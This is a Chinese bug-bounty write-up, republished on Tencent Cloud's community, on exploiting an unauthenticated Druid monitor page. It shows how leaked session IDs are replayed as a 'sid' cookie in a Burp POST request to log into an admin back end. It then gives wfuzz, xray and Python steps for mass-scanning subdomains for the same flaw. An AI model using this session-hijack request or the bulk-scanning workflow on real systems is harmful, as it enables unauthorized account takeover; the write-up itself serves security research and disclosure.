前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记录一次Druid未授权访问的实战应用

记录一次Druid未授权访问的实战应用

作者头像
用户1631416
发布2021-01-12 15:32:17
11.1K0
发布2021-01-12 15:32:17
举报
文章被收录于专栏:玄魂工作室

前言:

本篇文章中所涉及过程并不是很复杂,主要记录在挖掘SRC时,关于Druid未授权访问的实战利用。

如果不加以利用,提交上去也仅仅是算作低危。既然如此,不如好好利用一下。

但在我批量挖掘该漏洞时,也不是全部都可以使用以下方法,有些虽然泄露了SESSION和URI地址,但是实际操作时会还是会有一些问题,比如泄露的URI都不存在,或者说是没有泄露SESSION和URI地址,或者是泄露了很多URI和SESSION信息。

那具体情况具体分析了,最差也算是个低危小漏洞。

文章最后,会有我批量刷Druid未授权访问的小方法,如果大家感兴趣不妨试一试。

如果本篇文章有帮助到你,是我的荣幸。

Druid及未授权访问漏洞简介:

1、Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。

2、Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。

3、当开发者配置不当时就可能造成未授权访问漏洞。

漏洞特征:

代码语言:javascript
复制
http://www.xxxx.com/druid/index.html

漏洞名称:

某大数据产品平台通过DruidMonitor未授权访问可获取管理员信息

漏洞地址:

代码语言:javascript
复制
https://****.bl******.com.cn/***-***-service/druid/index.html
http://****.bl******.com.cn/***-****-view/#/

漏洞概述:

本漏洞是通过Druid Monitor未授权访问找到SESSION监控页面下面的一些SESSION信息和URI监控下的路径,以及通过配合目标网站大数据产品平台的登录等一系列测试,可获得一起管理员以及其他注册成员信息。

攻击流程:

首先,是未授权的访问界面,主要关注Session监控和URI监控这两个地方,如图:

可以看到,存在了大量SESSION信息,我们找几个拿来用,需要访问的IP地址是外外网IP,因为内部访问的用不了,我收集了下面这三个:

代码语言:javascript
复制
0b055336-85f8-4bdc-8008-d45dc23c6b2f
7a5681a1-a790-47fa-948b-a1f1a3532d09  
3aaaa4d3-1259-4e64-835d-fb1f9bf35eda

既然有session了,下面要找到登录界面尝试一下登录的时候替换session会有什么效果,然后我再URI监控的地方找到了一些后台登录地址:

直觉感觉membership/index 页面可能不寻常,构造使用下方POST包,使用Burp发包:

代码语言:javascript
复制
POST /********-service/me****ship/index/ HTTP/1.1
Host: *****.bl*******.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101Firefox/79.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 101
Origin: http://***p.********.com.c*
Connection: close
Referer: http://*****.bl*******.com.cn/******-view/
Cookie: Hm_lvt_ed752fa41bdfde359bfde28ccd27b888=1597904479,1597907505;sid=0b055336-85f8-4bdc-8008-d45dc23c6b2f;token=029d8a6ac03358de6e57c7254acbd017;

username=80560478&password=FSMBKxmUSkq9MfJjyAgyEA%3D%3D&isCookieLogin=Y&validationCode=anqr&brand=999

其中要注意的是Cookie中的sid参数,即为session里面监控找到的数据,使用burp观察返回包:

可以看到用在Session监控下收集的数据,替换过后,可以得到用户名和用户ID。

下面我们需要使用到用户id,来到某大数据产品平台,输入用户id,密码随便填写

我们使用80560478这个账号,也就是上面通过session获取到的:

发送到repeater模块,进一步操作,首先可以看到,会提示密码错误:

我们将标记的sid替换为前面收集0b055336-85f8-4bdc-8008-d45dc23c6b2f这个,也就是获取到账号80560478的session:

最终可以看到成功登录到后台页面。

批量验证Druid未授权访问漏洞

1、首先收集一波域名,整理到一个TXT文件中,我使用的是Oneforall进行批量探测子域名,如果使用Oneforall,记得挂上代理,扫描结果会多出来很多哦。具体子域名收集大家都有自己偏爱的那款工具,所以不过多展示了。

2、扫了一批子域名后,我会使用WFUZZ进一步验证子域名的存活性,我使用了下面的命令:

代码语言:javascript
复制
wufzz -w 子域名.txt --hw 0 --hc 500,501,502,504,505,400 -Z -L -f 输出.txt --conn-delay 5 http://FUZZ
注意:
使用--conn-delay 5:为设置超时5秒后跳过,默认是90秒。

3、WFUZZ文本保存结果不适合直接使用,大家可以自己编写小脚本对文件进行处理,或者大佬们不嫌弃的话,可以使用下面这个小代码

代码语言:javascript
复制
def spl(filename,saveFile):
    openFile = open(filename,"r")
    saveFile = open(saveFile,"w")
    lines = openFile.readlines()
    
    for i in lines:
        x = i.split('"')[1]
        x1 = "http://" + x
        saveFile.writelines(x1+'\n')
        print(x1)
    saveFile.close()
    openFile.close()

if __name__ == "__main__":
    filePath = input("Input your filepath: ")
    savePath = input("Sava File name: ")
    spl(filePath,savePath)
    print("hey BOY,Fighiting@@@")

4、最后我会使用Xray单独开启Druid检测插件,进行批量检测,需要注意的是,一定要把config.yaml中其他检测都关掉,比如SQL注入,XSS注入等等,可以更快的只针对Druid未授权进行检测,如图:

Xray批量检测Druid未授权访问命令:

代码语言:javascript
复制
./xray webscan --poc poc-yaml-druid-monitor-unauth--url-file ./存活的子域名.txt --html-output test.html
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
大数据
全栈大数据产品,面向海量数据场景,帮助您 “智理无数,心中有数”!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档